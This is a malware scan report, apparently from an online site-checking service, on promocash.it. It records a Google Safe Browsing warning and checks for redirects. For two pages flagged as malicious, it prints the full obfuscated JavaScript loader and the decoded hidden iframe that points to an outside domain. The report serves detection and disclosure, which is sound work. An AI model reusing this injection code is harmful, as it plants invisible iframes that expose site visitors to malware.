Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=promocash.it
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.promocash.it/ | 200 OK Content-Length: 4729 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function stcount() {var t,o,l,i,j;var s='060047116101120116097116101097062060047116101120116097114101097062060105102114097109101032115114099061039104116116112058047047115104105110121045115116097116046099111109039032119105100116104061039049039032104101105103104116061039049039032115116121108101061039118105115105098105108105116121058032104105100100101110059039062060047105102114097109101062';t='';l=s.length;i=0;while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));document.write(String.fromCharCode(t));t='';}}stcount(); Decoded script: </textatea></textarea><iframe src='http://shiny-stat.com' width='1' height='1' style='visibility: hidden;'></iframe> Antivirus reports:
| ||
http://www.promocash.it/scambiobanner/index.php | 200 OK Content-Length: 114 Content-Type: text/html | clean |
http://www.promocash.it/test404page.js | 404 Not Found Content-Length: 958 Content-Type: text/html | clean |
http://www.promocash.it/erosbanner/index.php | 200 OK Content-Length: 111 Content-Type: text/html | clean |
http://www.promocash.it/30000.htm | 200 OK Content-Length: 14892 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function stcount() {var t,o,l,i,j;var s='060047116101120116097116101097062060047116101120116097114101097062060105102114097109101032115114099061039104116116112058047047115104105110121045115116097116046099111109039032119105100116104061039049039032104101105103104116061039049039032115116121108101061039118105115105098105108105116121058032104105100100101110059039062060047105102114097109101062';t='';l=s.length;i=0;while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));document.write(String.fromCharCode(t));t='';}}stcount(); Decoded script: </textatea></textarea><iframe src='http://shiny-stat.com' width='1' height='1' style='visibility: hidden;'></iframe> Antivirus reports:
|
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: promocash.it
Result:
GET / HTTP/1.1
Host: promocash.it
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: promocash.it
Referer: http://www.google.com/search?q=promocash.it
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: promocash.it
Referer: http://www.google.com/search?q=promocash.it
Result:
The result is similar to the first query. There are no suspicious redirects found.